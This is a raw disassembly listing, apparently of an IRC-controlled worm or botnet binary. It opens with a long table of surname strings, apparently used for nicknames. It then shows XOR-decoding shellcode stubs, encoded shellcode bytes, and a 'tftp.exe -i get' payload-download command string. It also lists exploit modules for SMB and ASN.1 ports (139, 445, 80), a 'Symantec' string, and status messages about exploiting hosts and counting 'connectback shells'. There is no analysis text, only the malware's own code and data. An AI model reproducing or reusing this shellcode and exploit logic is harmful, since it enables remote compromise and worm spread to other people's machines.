aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D9C4o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D9C0o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D9BCo
aClow		db 'Clow',0             ; DATA XREF: ___:0042D9B8o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D9B4o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D9B0o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D9ACo
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D9A8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D9A4o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D9A0o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D99Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D998o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D994o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D990o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D98Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D988o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D984o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D980o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D97Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D978o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D974o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D970o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D96Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D968o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D964o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D960o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D95Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D958o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D954o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D950o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D94Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D948o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D944o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D940o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D93Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D938o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D934o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D930o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D92Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D928o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D924o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D920o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D91Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D918o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D914o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D910o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D90Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D908o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D904o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D900o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8FCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8F8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8F4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8F0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8ECo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8E8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8E4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8DCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8D8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8D4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8D0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8CCo
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8C8o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D8C4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D8C0o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D8BCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D8B8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D8B4o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D8B0o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D8ACo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D8A8o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D8A4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D8A0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D89Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D898o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D894o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D890o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D888o
					; ___:0042D88Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D884o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D880o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D87Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D878o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D874o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D870o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D86Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D868o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D864o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D860o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D85Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D858o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D854o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D850o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D84Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D848o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D844o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D840o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D83Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D838o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D834o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D830o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D82Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D828o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D824o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D820o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D81Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D818o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D814o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D810o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D80Co
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D808o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D804o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D800o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7FCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7F8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7F4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7F0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7ECo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7E8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7E4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7E0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7DCo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7D8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7D4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7D0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7C8o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D7C4o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D7C0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D7BCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D7B8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D7B4o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D7B0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D7ACo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D7A8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D7A4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D7A0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D79Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D798o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D794o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D790o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D78Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D788o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D784o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D780o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D77Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D778o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D774o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D770o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D76Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D768o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D764o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D760o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D75Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D758o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D754o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D750o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D74Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D748o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D744o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D740o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D73Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D738o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D734o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D730o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D72Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D728o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D724o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D720o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D71Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D718o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D714o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D710o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D70Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D708o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D704o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D700o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6FCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6F8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6F4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6F0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6ECo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6E8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6E4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6E0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6DCo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6D8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6D4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6D0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6CCo
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6C8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D6C4o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D6C0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D6BCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D6B8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D6B4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D6B0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D6ACo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D6A8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D6A4o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D6A0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D69Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D698o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D694o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D690o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D68Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D688o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D684o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D680o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D67Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D678o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D674o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D670o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D66Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D668o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D664o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D660o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D65Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D658o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D654o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D650o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D64Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D648o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D644o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D640o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D63Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D638o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D634o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D630o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D62Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D628o
		align 10h
byte_431280	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431284	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431288	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431290	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431294	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431298	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43129C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_4312A0	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_4312A4	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_4312A8	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_4312AC	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_4312B0	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_4312B8	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312C8
; ---------------------------------------------------------------------------

loc_4312C6:				; CODE XREF: ___:loc_4312C8p
		jmp	short loc_4312CD
; ---------------------------------------------------------------------------

loc_4312C8:				; CODE XREF: ___:004312C4j
		call	loc_4312C6

loc_4312CD:				; CODE XREF: ___:loc_4312C6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312D4:				; CODE XREF: ___:004312D9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312D4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312EA:				; CODE XREF: ___:004312EFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312EA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43138C
		jnz	short loc_431378
		retn
; ---------------------------------------------------------------------------

loc_431378:				; CODE XREF: ___:00431375j
					; ___:00431385j
		call	near ptr loc_43137D+1

loc_43137D:				; CODE XREF: ___:loc_431378p
		add	[edx+0], ch
		call	sub_43138C
		jz	loc_431378
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43138C	proc near		; CODE XREF: ___:00431370p
					; ___:00431380p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43138C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431438	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43143C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431440	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431444	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431448	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43144C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_43161A	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_1	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431646

; =============== S U B	R O U T	I N E =======================================



sub_431636	proc near		; CODE XREF: sub_431636:loc_431646p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_43163E:				; CODE XREF: sub_431636+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43163E
		jmp	short loc_43164B
; ---------------------------------------------------------------------------

loc_431646:				; CODE XREF: ___:00431634j
		call	sub_431636

loc_43164B:				; CODE XREF: sub_431636+Ej
		jo	short near ptr dword_4315D4+12h
		cwde
		cdq
		cdq
		retn
sub_431636	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_4317C8	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317D4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317F4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43183C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431878	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431888	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_4318A4	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318D8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431908	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431928	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431944	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431978	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
